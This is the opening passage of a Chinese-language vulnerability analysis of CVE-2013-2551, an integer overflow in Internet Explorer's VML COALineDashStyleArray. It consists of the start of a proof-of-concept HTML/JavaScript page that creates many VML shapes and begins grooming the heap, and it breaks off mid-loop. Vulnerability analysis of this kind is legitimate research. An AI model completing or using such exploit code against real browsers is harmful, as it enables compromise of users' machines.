[CVE-2013-2551]-Microsoft Internet Explorer COALineDashStyleArray 整数溢出漏洞分析
0x00 POC <html> <head> <meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" > </head> <title> POC by VUPEN </title> <!-- Include the VML behavior --> <style>v\: * { behavior:url(#default#VML); display:inline-block }</style> <!-- Declare the VML namespace --> <xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" /> <script> var rect_array = new Array() var a = new Array() function createRects(){ for(var i=0; i<0x400; i++){ rect_array[i] = document.createElement("v:shape") rect_array[i].id = "rect" + i.toString() document.body.appendChild(rect_array[i]) } } function crashme(){ var vml1 = document.getElementById("vml1") var shape = document.getElementById("shape") for (var i=0; i<0x400; i++){ //set up the heap a[i]
